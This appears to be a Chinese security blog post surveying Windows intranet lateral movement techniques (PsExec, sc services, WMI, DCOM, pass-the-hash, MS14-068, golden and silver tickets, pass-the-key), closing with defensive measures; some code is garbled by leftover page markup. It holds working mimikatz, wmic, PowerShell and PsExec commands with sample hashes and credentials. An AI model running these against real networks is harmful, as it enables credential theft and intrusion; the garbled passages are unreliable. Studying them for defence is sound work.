网站的版式设计,营销型网站建设企业,wordpress头像被墙,中国营销在线内网环境下的横向移动总结 文章目录 内网环境下的横向移动总结前言横向移动威胁 威胁密码安全 威胁主机安全 威胁信息安全横向移动威胁的特点 利用psexec 利用psexec.exe工具msf中的psexec 利用windows服务 sc命令 1.与靶机建立ipc连接2.拷贝exe到主机系统上3.在靶机上创建一个…内网环境下的横向移动总结 文章目录 内网环境下的横向移动总结前言横向移动威胁 威胁密码安全 威胁主机安全 威胁信息安全横向移动威胁的特点 利用psexec 利用psexec.exe工具msf中的psexec 利用windows服务 sc命令 1.与靶机建立ipc连接2.拷贝exe到主机系统上3.在靶机上创建一个shell的服务4.启动shell服务5.删除创建的shell服务 利用WMI 查询进程信息远程创建进程wmiexec impacket中的wmiexec.pywmiexec.vbsInvoke-WMIMethod利用DCOM 调用MMC20.Application远程执行命令调用9BA05972-F6A8-11CF-A442-00A0C90A8F39调用Excel.Application远程执行命令 PTH(pass the hash)PTT(pass the ticket) MS14-068 利用mimikatz ptt 1.获取普通域成员的SID2.生成TGT票据3.票据注入4.klist查看缓存票据5.建立ipc连接 利用kekeo ptt 1.生成票据2.导入票据3.查看票据并访问域控Golden ticket Sliver ticketPTK(pass the key)防范 一、防止攻击者窃取密码二、防护哈希传递攻击三、监控异常活动四、更改系统配置 前言
在内网渗透中当攻击者获取到内网某台机器的控制权后会以被攻陷的主机为跳板通过收集域内凭证等各种方法访问域内其他机器进一步扩大资产范围。通过此类手段攻击者最终可能获得域控制器的访问权限甚至完全控制基于Windows操作系统的整个内网环境控制域环境下的全部机器。
横向移动是攻击者侵入企业系统时获取相关权限及重要数据的常见攻击手法。了解横向移动的原理有助于个人和企业更好地维护网络安全。
近年来随着网络攻击、勒索事件频发企业安全防护需求迅速上升传统安全防护中以密码和权限管理为核心的单一防护模式愈发不能满足目前的网络安全环境。因而深入了解攻击思路“对症下药”是目前网络安全行业发展的重要方向。
本篇文章将就“横向移动”这一典型攻击行为进行简单阐述从攻击者视角还原“横向移动”攻击过程中的典型场景为深入剖析“横向移动”攻击行为提供简单参考。
简单来讲横向移动是指攻击者成功攻击一台计算机后由该计算机横向跨越到另一台计算机获取相关权限进而窃取敏感信息的活动。
从定义上来看我们不难发现“横向移动”攻击的主要目标是企业关键信息及相关管理权限而横向跨越的攻击属性也表明这一攻击行为多数情况下发生在企业内网中。
换个角度来讲也正是由于企业内网中计算机存在聚集性以及内网中一些集权管理设备储存有大量身份凭证信息及关键数据使得企业内网更容易成为攻击者的目标也就成为了横向移动的重灾区。
横向移动威胁
威胁密码安全
黑客横向移动的过程可能导致密码失窃从而威胁到计算机内文件数据的安全。在企业办公网络中大部分办公电脑都设置有密码、登录凭证用以防止数据等相关私密文件被他人查看。这种情况下黑客想要横向移动到加密主机就要通过一些手段来获取密码或窃取登录凭证。与其他的攻击方式相同“弱口令”是黑客获取密码最简单的一类途径。尤其是主机RDP相关的弱口令这类系统远控桌面服务的弱口令一旦被黑客利用就能通过“撞库”等方式暴力破解进而实现内网计算机的远程控制。而黑客窃取登陆凭证的方式主要包括lsass内存读取、注册表读取、ntds 数据库读取等。在通过一系列手段窃取到登陆凭证后黑客就能通过哈希传递、票据传递的方式登录目标主机。以上两种方式作为黑客横向移动的初始步骤被广泛应用于APT攻击及横向移动攻击相关的威胁事件中。 例如在前不久的美国燃油管道勒索攻击事件中darkside攻击团伙从文件、内存和域控制器中收集凭据并利用这些凭据来登录其它主机再对重要数据和控制端口进行加密进而实施勒索。 由此可见横向移动造成的密码失窃严重威胁到包括关键基础设施在内的多种网络设施安全。
威胁主机安全
黑客在横向移动中使用远程控制目标主机的方式导致主机安全受到威胁。 由于Windows系统自带连接远程主机执行命令的功能。在黑客获得账号密码的情况下可以通过IPC进程间通信连接目标主机建立安全通道在该通道传输加密数据。而Windows的计划任务功能也常被黑客利用来定时激活病毒木马达到长期威胁内网主机的目的。除了windows系统自带功能黑客还经常使用一些工具来进行远程控制
Psexec由于其强大的提权和远程命令执行能力在横向移动中应用非常普遍。它不仅能以system权限来运行指定应用程序还能在本机生成命令提示符窗口只要输入命令就能在远程主机上执行并返回结果。
Psexec被众多安全厂商加入查杀黑名单后近几年通过调用WMI来进行远程操作的工具也屡见不鲜。WMI是一项Windows管理技术通过它可以访问、配置、管理几乎所有计算机资源。相比于Psexec使用WMI执行远程命令基本不会在远程主机上留下日志让黑客的行为显得更隐蔽。调用WMI来进行横向移动的工具包括WMIEXEC.exe、WMIEXEC.vbs脚本、Invoke-Command.ps1脚本和Invoke-WMIMethod.ps1脚本。其中WMIEXEC.vbs脚本可以获取远程主机的半交互式Shell执行单条命令并返回显示结果。Shell为用户提供了可以访问操作系统内核服务的界面
威胁信息安全
黑客进行横向移动攻击会窃取和泄漏大量信息直接威胁信息安全。 几乎所有针对企业进行攻击的事件都与信息窃取相关。一旦突破安全边界进入内网黑客们就会使用各种手段横向移动渗透内网其它主机尤其是敏感信息存放主机。在勒索攻击事件中最常见的勒索方式是攻击者将信息加密后以公开其机密数据的方式要挟赎金。 比如著名的勒索攻击团伙海莲花其常用手法是在内网中建立立足点后使用Cobalt Strike进行横向移动。通过Cobalt Strike扫描内网中存在的各类漏洞和配置问题利用扫描结果进一步控制其它主机。最终窃取包括商业机密、机密谈话日志和进度计划等在内的各种资料严重威胁制造、媒体、银行、酒店和基础设施的网络安全。
横向移动威胁的特点
由上我们可以总结出横向移动威胁的特点即威胁面大威胁性强。 如何理解威胁面大
从目标对象来说横向移动威胁的不是某一台主机而是多台主机甚至整个内网。从黑客目的来说黑客要利用他掌握的信息威胁企业必须掌握到关键且大量的数据就要通过横向移动不断扩大资产范围。 如何理解威胁性强
黑客为了造成更大影响通常选择重要的信息系统如金融、电信、交通、能源等计算机系统利用横向移动进行大面积网络攻击导致系统瘫痪严重影响基本的社会生活。如前文提到的美国燃油管道勒索攻击事件和爱尔兰医疗服务机构遭受Conti勒索软件攻击事件还有加拿大保险公司guard.me遭受网络攻击事件…… 另外横向移动造成的影响让企业在后续恢复中也面临较大的困难。企业需要消耗许多人力财力对本次攻击溯源找到并修补内网存在的漏洞还需要耗费大量时间精力还原被黑客破坏的文件等资源重新启动业务系统。
利用psexec
利用psexec.exe工具
下载地址https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口只需要对方开启admin$共享 (该共享默认开启)。但是假如目标主机开启了防火墙psexec也是不能使用的会提示找不到网络路径。由于psexec是Windows提供的工具所以杀毒软件将其列在白名单中。 psexec的基本原理 通过ipc 连接 a d m i n 连接admin /spanspan classkatex-htmlspan classbasespan classstrut styleheight: 0.6944em;/spanspan classmord cjk_fallback连接/spanspan classmord mathnormala/spanspan classmord mathnormald/spanspan classmord mathnormalmin/span/span/span/span/span释放二进制文件psexecsvc.exe到目标/p /lili p通过服务管理SCManager远程创建一个psexec服务并启动服务/p /lili p客户端连接执行命令服务端通过服务启动相应的程序执行命令并回显数据/p /lili p运行结束后删除服务/p /li/ul psexec的使用前提
对方主机开启了 admin 共享如果关闭了 a d m i n 共享如果关闭了admin /spanspan classkatex-htmlspan classbasespan classstrut styleheight: 0.6944em;/spanspan classmord cjk_fallback共享如果关闭了/spanspan classmord mathnormala/spanspan classmord mathnormald/spanspan classmord mathnormalmin/span/span/span/span/span共享会提示找不到网络名/lili对方未开启防火墙/lili如果是工作组环境则必须使用administrator用户连接因为要在- 目标主机上面创建并启动服务使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。/lili如果是域环境即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户连接域控只能用域管理员账户。/li/ul 使用如下命令
-accepteula第一次运行psexec会弹出确认框使用该参数就不会弹出确认框-u用户名-p密码-s以system权限运行运程进程获得一个system权限的交互式shell。如果不使用该参数会获得一个连接所用用户权限的shell
PsExec64.exe -accepteula \192.168.10.3 -u WIN-U8TRGT93CTR\administrator -p (password) -s cmd.exe 这里也可以先建立ipc连接后直接调用PsExec64.exe调用cmd net use \192.168.10.3\ipc$ (password) /user:administrator PsExec64.exe -accepteula \192.168.10.3 cmd.exe 也可以直接执行命令(在建立ipc连接的基础上) PsExec64.exe -accepteula \192.168.10.3 ipconfig msf中的psexec
使用search psexec寻找psexec模块如下图所示 这里最常用的有以下模块 exploit/windows/smb/psexec exploit/windows/smb/ms17_10_psexec 这里说一下msf里面的这个psexec这个模块跟powershell原生模块的区别。我们知道powershell是在2008及以上的系统才有在2008及以上的系统使用原生powershell免杀效果是要比msf里psexec生成的payload要好的。但是在2003及以下的版本是不自带powershell的那么在这种情况下我们就只能使用msf的psexec生成的exe进行横向移动
这里唯一一点注意的就是msf的payload需要用到反弹payload即reverse_tcp 运行可以看到为system权限 psexec服务将会安装在远程系统中此时将会生成 Event 4697、7045 这2种事件日志有可能预生成Event 4624和Event 4652 Windows事件日志日志会记录下该工具的使用数据。
利用windows服务
利用windows服务进行横向渗透主要是通过sc命令但是注意这里跟之前windows远程命令相比多了一个条件即当前主机需要为administrator权限。
sc命令 sc命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。 利用sc命令进行横向渗透的大体流程如下
1.与靶机建立ipc连接
2.拷贝exe到主机系统上
3.在靶机上创建一个shell的服务 sc \WIN-M836NN6NU8B create shell binpath “c:\artifact.exe” 这里需要用cmd shell运行否则会报错
4.启动shell服务
sc \WIN-M836NN6NU8B start shell
5.删除创建的shell服务
sc \[host] delete [servicename]
利用WMI
WMI是Windows 2K/XP管理系统的核心对于其他的Win32操作系统WMI是一个有用的插件。WMI以CIMOM为基础CIMOM即公共信息模型对象管理器Common Information Model Object Manager是一个描述操作系统构成单元的对象数据库为MMC和脚本程序提供了一个访问操作系统构成单元的公共接口。有了WMI工具软件和脚本程序访问操作系统的不同部分时不需要使用不同的API相反操作系统的不同部分都可以插入WMI
由于刚刚提到的PsExec在内网中大杀四方后很多安全厂商开始将PsExec加入了黑名单所以攻击者暴露的可能性陡然增加。但是根据研究情况来看Windows操作系统默认不会将WMI的操作记录到日志当中而且因为采用的是无文件攻击所以导致WMI具有极高的隐蔽性。由此越来越多的APT开始使用WMI进行攻击利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。
使用 wmic 远程执行命令在远程系统中启动 Windows Mannagement Instrumentation 服务目标服务器需要开放 135 端口wmic 会以管理员权限在远程系统中执行命令
查询进程信息
wmic /node:192.168.52.138 /user:administrator /password:qwe123!# process list brief
远程创建进程
wmic也可以用来调用cmd执行系统命令跟at命令类似wmic调用cmd的时候也是没有回显的所以我们还是写入txt用type命令进行查看 wmic /node:192.168.52.138 /user:administrator /password:qwe123!# process call create “cmd.exe /c ipconfig C:\result.txt” 使用type命令读取写入txt的结果如图所示
wmiexec
wmiexec是windows自带的wmic的加强版在渗透过程中使用wmiexec会比wmic和psexec更加方便这里就介绍几种常用的wmiexec工具进行渗透。
impacket中的wmiexec.py
首先在github上下载impacket安装包https://github.com/SecureAuthCorp/impacket
使用命令 python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名目标IP // 哈希传递获得shell python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名目标IP “ipconfig” // 执行命令 注意对于运行时间较长的命令例如ping、systeminfo等需要添加-wait 5000或更长时间的参数。
由于正常的命令都要查看结果所以执行的命令后面都会加上重定向符把结果输出到文件中。所以wmiexec.vbs在运行nc反弹shell或者msf木马木马等不需要输出结果但需要一直运行的程序时因为木马进程会一直存在导致结果文件被占用不能删除也不能改写。出现这种情况后由于结果文件被占用所以WMIEXEC不能工作除非手动更改脚本中的结果文件名。或者可以用taskkill 远程结束掉卡死的进程然后WMIEXEC可以恢复工作。为了解决这个问题加入了“-persist” 选项。
当命令加了“-persist” 选项后程序会在后台运行不会有结果输出而且会返回这个命令进程的PID方便结束进程。
wmiexec.vbs
wmiexec.vbs 可以在远程系统中执行命令并进行回显获得远程主机的半交互式shell cscript.exe //nologo wmiexec.vbs /shell 192.168.10.3 administrator (password 输入如下命令使用 wmiexec.vbs 在远程主机上执行单条命令 cscript.exe //nologo wmiexec.vbs /cmd 192.168.10.3 administrator (password) “命令” Invoke-WMIMethod
利用 PowerShell 自带的 Invoke-WMIMethod可以在远程系统主机上执行命令和指定程序 #目标系统用户名 $User “WIN-U8TRGT93CTR\administrator” #目标系统密码 Password ConvertTo-SecureString -String “qwe123!#” -AsPlainText -Force #账号密码整合导入Credential $Cred New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password #远程运行计算器程序 Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList “calc.exe” -ComputerName “192.168.10.3” -Credential $Cred 这时候靶机进程就会出现calc.exe
利用DCOM
这里先提两个概念COM和DCOM COM即组件对象模型(Component Object ModelCOM) 是基于 Windows 平台的一套组件对象接口标准由一组构造规范和组件对象库组成。COM是许多微软产品和技术如Windows媒体播放器和Windows Server的基础。一般的对象是由数据成员和作用在其上的方法组成而组件对象和一般对象虽有相似性但又有较大不同。组件对象不使用方法而用接口来描述自身。接口被定义为“在对象上实现的一组语义上相关的功能”其实质是一组函数指针表每个指针必须初始化指向某个具体的函数体一个组件对象实现的接口数量没有限制。 关于这个COM其实应该有很多师傅见过那就是在windows情况下php为数不多的几种disable_functions的方法之一就是利用windows的COM组件进行绕过这里我就不往深处拓展了 DCOM分布式组件对象模型是微软基于组件对象模型COM的一系列概念和程序接口它支持不同的两台机器上的组件间的通信不论它们是运行在局域网、广域网、还是Internet上。利用这个接口客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求。DCOM是COM组件对象模型的扩展它允许应用程序实例化和访问远程计算机上COM对象的属性和方法。DCOM 使用远程过程调用RPC技术将组件对象模型COM的功能扩展到本地计算机之外因此在远程系统上托管COM服务器端的软件通常在DLL或exe中可以通过RPC向客户端公开其方法。 攻击者可使用 DCOM 进行横向移动通过 DCOM攻击者可在拥有适当权限的情况下通过 Office 应用程序以及包含不安全方法的其他 Windows 对象远程执行命令。
使用DCOM进行横向移动的优势之一在于在远程主机上执行的进程将会是托管COM服务器端的软件。例如我们滥用ShellBrowserWindow COM对象那么就会在远程主机的现有explorer.exe进程中执行。对攻击者而言这无疑能够增强隐蔽性由于有大量程序都会向DCOM公开方法因此防御者可能难以全面监测所有程序的执行。
这里利用DCOM进行横向移动有两个条件 1.能关闭靶机防火墙 2.拥有cmdshell、靶机需要使用administrator账户 DCOM进行横向移动的操作如下 1.与靶机建立ipc连接 2.cs生成木马使用copy命令上传到靶机 3.调用DCOM远程执行命令
调用MMC20.Application远程执行命令
通过PowerShell与DCOM进行远程交互此外我们只需要提供一个DCOM ProgID和一个IP地址然后它就从远程返回一个COM对象的实例。 $com [activator]::CreateInstance([type]::GetTypeFromProgID(“MMC20.Application”,192.168.52.138)) 执行以上命令我们就可以调用ExecuteShellCommand方法在远程主机上启动进程
调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
通过调用9BA05972-F6A8-11CF-A442-00A0C90A8F39来执行exe文件 $com [Type]::GetTypeFromCLSID(‘9BA05972-F6A8-11CF-A442-00A0C90A8F39’,“192.168.52.138”) o b j [ S y s t e m . A c t i v a t o r ] : : C r e a t e I n s t a n c e ( obj [System.Activator]::CreateInstance( /spanspan classkatex-htmlspan classbasespan classstrut styleheight: 0.8889em; vertical-align: -0.1944em;/spanspan classmord mathnormalo/spanspan stylemargin-right: 0.0572em; classmord mathnormalbj/spanspan classmspace stylemargin-right: 0.2778em;/spanspan classmrel/spanspan classmspace stylemargin-right: 0.2778em;/span/spanspan classbasespan classstrut styleheight: 1em; vertical-align: -0.25em;/spanspan classmopen[/spanspan stylemargin-right: 0.0576em; classmord mathnormalS/spanspan classmord mathnormalys/spanspan classmord mathnormalt/spanspan classmord mathnormale/spanspan classmord mathnormalm/spanspan classmord./spanspan classmord mathnormalA/spanspan classmord mathnormalc/spanspan classmord mathnormalt/spanspan classmord mathnormali/spanspan stylemargin-right: 0.0359em; classmord mathnormalv/spanspan classmord mathnormala/spanspan classmord mathnormalt/spanspan stylemargin-right: 0.0278em; classmord mathnormalor/spanspan classmclose]/spanspan classmspace stylemargin-right: 0.2778em;/spanspan classmrel::/spanspan classmspace stylemargin-right: 0.2778em;/span/spanspan classbasespan classstrut styleheight: 1em; vertical-align: -0.25em;/spanspan stylemargin-right: 0.0715em; classmord mathnormalC/spanspan classmord mathnormalre/spanspan classmord mathnormala/spanspan classmord mathnormalt/spanspan classmord mathnormale/spanspan stylemargin-right: 0.0785em; classmord mathnormalI/spanspan classmord mathnormaln/spanspan classmord mathnormals/spanspan classmord mathnormalt/spanspan classmord mathnormalan/spanspan classmord mathnormalce/spanspan classmopen(/span/span/span/span/spancom)br $item $obj.item()br img srchttps://img-blog.csdnimg.cn/12b8f60b334947e2b75b159f3cd6afb6.png alt在这里插入图片描述/p 调用Excel.Application远程执行命令
// 通过PowerShell与DCOM进行远程交互创建Excel.Application对象的实例: $com [activator]::CreateInstance([type]::GetTypeFromprogID(“Excel.Application”,“192.168.52.138”)) $com.DisplayAlerts $false // 然后执行如下命令我们就可以调用该对象的DDEInitiate方法在远程主机上启动进程 com.DDEInitiate(“cmd.exe”,“/c C:\shell.exe”) PTH(pass the hash)
pass-the-hash在内网渗透中是一种很经典的攻击方式原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务而不用提供明文密码。
pass the hash原理 在Windows系统中通常会使用NTLM身份认证 NTLM认证不使用明文口令而是使用口令加密后的hash值hash值由系统API生成(例如LsaLogonUser) hash分为LM hash和NT hash如果密码长度大于15那么无法生成LM hash。从Windows Vista和Windows Server 2008开始微软默认禁用LM hash 如果攻击者获得了hash就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)
这类攻击适用于
域/工作组环境可以获得hash但是条件不允许对hash爆破内网中存在和当前机器相同的密码
微软也对pth打过补丁然而在测试中发现在打了补丁后常规的Pass The Hash已经无法成功唯独默认的Administrator(SID 500)账号例外利用这个账号仍可以进行Pass The Hash远程ipc连接。
如果禁用了ntlm认证PsExec无法利用获得的ntlm hash进行远程连接但是使用mimikatz还是可以攻击成功。
从windows到windows横向pth这一类攻击方法比较广泛。
首先使用mimikatz抓取域管hash注意mimikatz在抓取到hash之后是不能够直接复制的所以我们这里选择用log参数将抓取到的hash输出为txt mimikatz log privilege::debug sekurlsa::logonpasswords 使用mimikatz hash传递 sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ea7937eec9ab52e6cc9528a2011ca1d8 PTT(pass the ticket)
PTH部分基于NTLM认证进行攻击而PTT基于kerberos协议进行攻击
PTT中最常见的三种攻击方式为MS14-068、黄金票据、白银票据
MS14-068
MS14-068是密钥分发中心KDC服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证TGT中插入任意PAC表示所有用户权限的结构。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。
MS14-068对应的补丁为KB3011780接下来说一下MS14-068的利用过程
利用mimikatz ptt
1.获取普通域成员的SID 2.生成TGT票据
ms14-068.exe -u 域成员名域名 -s 域成员sid -d 域控制器地址 -p 域成员密码 MS14-068.exe -u mars2Drunkmars.com -s S-1-5-21-652679085-3170934373-4288938398-1107 -d 192.168.10.5 -p (password) 在同目录下生成了.ccache文件
3.票据注入
使用mimikatz将票据注入到当前内存中伪造凭证如果成功则拥有域管理权限可任意访问域中所有机器
通过mimikatz进行票据注入 mimikatz # kerberos::purge //清空当前机器中所有凭证如果有域成员凭证会影响凭证伪造 mimikatz # kerberos::list //查看当前机器凭证 mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中 4.klist查看缓存票据 5.建立ipc连接
可以看到我们这里已经提升到dc权限这里需要注意一个问题如果要使用psexec或者wmi进行远程执行命令的操作这里的ip就要换成主机名字否则无法登录成功
利用kekeo ptt
这里使用到不用管理员权限进行ptt使用到kekeo
1.生成票据 kekeo tgt::ask /user:mars2 /domain:Drunkmars.com /ntlm:ea7937eec9ab52e6cc9528a2011ca1d8 2.导入票据 kerberos::ptt TGT_mars2DRUNKMARS.COM_krbtgt~Drunkmars.comDRUNKMARS.COM.kirbi 3.查看票据并访问域控 Golden ticket Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢还得要看kerberos认证的过程,在windows认证过程中客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密生成TGT。 那么如果获取到了krbtgt的密码hash值就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门
伪造黄金凭据需要具备下面条件
krbtgt用户的hash(就意味着你已经有域控制器权限了)域名称域的SID值要伪造的用户名先登录域控制器dump krbtgt用户的hash值,获取域sid privilege::debug lsadump::lsa /patch 登录普通域用户生成TGT凭证 kerberos::golden /user:administrator /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-1107 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /ticket:gold.kirbi 注入黄金票据并访问域控 kerberos::ptt gold.kirbi 如果开启rpc服务则可以用winexec.vbs直接连接这里我的域控没有开启rpc服务所以这里连接没有成功
Sliver ticket
Sliver ticket和golden ticket不同的是,它不需要和域控制器进行通信原理是伪造TGS使用的是计算机账户的hash进行加密的所以只能访问指定的权限。
不像是Golden ticket是由krgtgt用户的密码hash进行加密伪造tgt可以获取到所有权限。
白银票据这里只是对单一的服务进行授权利用过程和golden ticket差不多首先上域控制器中把机器的ntlm hash(rc4加密) dump下来,然后在普通域用户机器进行伪造权限,进行ptt。
登录DC抓取ntlm hash mimikatz log privilege::debug sekurlsa::logonpasswords 在普通域用户中生成票据 kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt 查看票证访问域控
PTK(pass the key)
在连接配置的时候允许使用hash进行认证而不是只有账号密码才能认证。
就是由于在进行认证的时候是用用户hash加密时间戳即使在使用密码进行登录的情况下也是先把密码加密成hash再进行认证。因此在只有用户hash没有明文密码的情况下也是可以进行认证的。不管是rubeus还是impacket里面的相关脚本都是支持直接使用hash进行认证。其中如果hash的ntlm hash然后加密方式是rc4这种就算做是pass the hash如果是hash是aes key(使用sekurlsa::ekeys导出来)就算是pass the key。在很多地方不支持rc4加密方式的时候使用pass the key不失为一种好方法。
获取aes key mimikatz log privilege::debug sekurlsa::ekeys 注入aes key mimikatz “privilege::debug” “sekurlsa::pth /user:mars2 /domain:Drunkmars.com /aes256:a207497d6c9df363b6658271ac0df1862c395d6b32003a5207dde3803f7dae0d” 防范
黑客横向移动的手段已经非常成熟。除了病毒中的自动化横向移动模块目前也已经有许多横向移动的工具被广泛使用。因此对横向移动的防护是目前内网安全防护中的重中之重。其核心目标是即使黑客进入企业内网也能通过一系列防护手段阻止他渗透到更多主机为相关权限及关键数据提供安全防护。
我们可以得知攻击者在横向移动过程中其最终目的是登陆目标主机并窃取机密数据。因此我们必须采取多种防护措施以防止攻击者窃取密码或进行凭证传递。除此之外还可利用监控手段来探查攻击者的踪迹并增加系统配置以提高域内安全性。 接下来将会详细介绍以上所述:
一、防止攻击者窃取密码
在使用WDigest摘要式身份验证的系统中密码会以明文形式存储在内存攻击者通过Mimikatz可以直接抓取密码。为了防止密码泄露我们可以关闭WDigest。但该功能只有在Windows Server 2012以上版本的系统才能被关闭而在Windows Server 2012以下版本的系统中只能通过安装补丁KB2871997来解决问题。
KB2871997支持RDP 网络登录即在登录过程中使用登录令牌来进行身份验证。这种方法不会在RDP服务器中存储用户凭证用户注销时也会清除主机缓存中的凭证以此来保护凭证安全。
同时KB2871997支持创建“受保护的用户”组。只要把域功能级别设置为Windows Server 2012 R2系统就会创建受保护的组在该组中的用户只能使用Kerberos协议进行身份验证。相比于WDigestKerberos验证方式更安全因为它不会在内存中存储明文密码。 想要防止密码被盗的话除了安装补丁我们还需要对攻击者常用的工具进行防范比如Mimikatz。由于Mimikatz与内存LSASS进程交互需要Debug权限我们可以将拥有Debug权限的本地管理员从Administrators组中移出。这样当攻击者以本地管理员身份登录时就没有权限使用Mimikatz从内存导出密码。
二、防护哈希传递攻击
通过以上手段我们能有效防止黑客从系统中窃取明文密码但是当黑客窃取到了用户凭据使用哈希传递等手段登录系统时并没有一个能彻底解决哈希传递的方法我们只能减轻这种攻击。 这里介绍两种方法——Defender ATP和微软管理层模型。
Defender ATP : 是微软提供的一种安全工具它能检测攻击者访问LSASS进程的行为。如果发现某时刻LSASS进程被读取的内存数量过多就会报警提示管理员“敏感凭据内存读取”。微软管理层模型 : 将不同权限的用户划分到不同层级并规定高层级不能登录低层级。举例来说将能够访问网络上所有关键服务器的管理员划分为第0级将工作站管理员划分为第2级那么即使黑客窃取到了关键服务器管理员的凭证以管理员身份也无法登录关键服务器。
三、监控异常活动
攻击者横向移动过程通常难以被察觉但我们可以分析其行为特征监控是否有存在满足其特征的活动来确定系统是否被入侵。 对于在目标范围内安装恶意软件的横向攻击行为我们可以监控应用安装情况。例如当安装应用的时间固定在一个时间段而其它时间段的安装行为都将被认为是异常的。攻击者进行横向移动攻击的另一个典型行为就是窃取信息。通过监控文件创建行为和SMB传输文件行为可以发现远程文件复制活动通过监控可移动介质上的文件访问能识别可移动介质复制行为通过监控多文件写入共享能发现共享文件污染行为等。 如果攻击者已进入内网为了防止他横向移动到更多主机我们可以监测内网中活跃的用户账号将这些账户设置为高风险账户降低其权限阻止其使用内网资源。 监控内网中的异常活动能帮助我们发现攻击者侵入企业内网的行为以便及时采取措施阻止其损害企业利益。
四、更改系统配置
给系统配置防火墙是防范一般网络攻击的重要手段对横向移动攻击也能起到一定的作用。比如通过配置防火墙的进站/出站规则阻止445端口的连接能防范利用SMB协议漏洞的攻击启用防火墙禁止RDP流量能防止RDP远程连接系统启动域防火墙能阻止DCOM对象实例化。 此外我们也可以通过配置Windows系统规则来防范横向移动攻击。当攻击者利用Windows打印机后台处理程序来执行特权操作时我们可以禁用“允许打印后台处理程序接收客户端连接”也可以直接禁用打印后台处理程序服务。 当系统遭受NTLM中继攻击时我们可以禁用NTLM并切换成Kerberos验证或启用SMB签名和LDAP签名等。NTLM中继攻击攻击者劫持受害者会话将受害者凭证转发到其它服务器获取信任 正确配置系统规则不仅能防范横向移动攻击还能保护系统资源的合法使用。
攻击者进行横向移动的手法多种多样以上方法并不能完全防范横向移动攻击。要有效阻止横向移动需要分析具体事件来制定有针对性的防护措施。
尤其是在企业等组织机构中由于内网的复杂性攻击团伙的手段也比较高超一般的防护手段不能有效地防范横向移动攻击要保护企业内网安全最好选择专业的运营团队。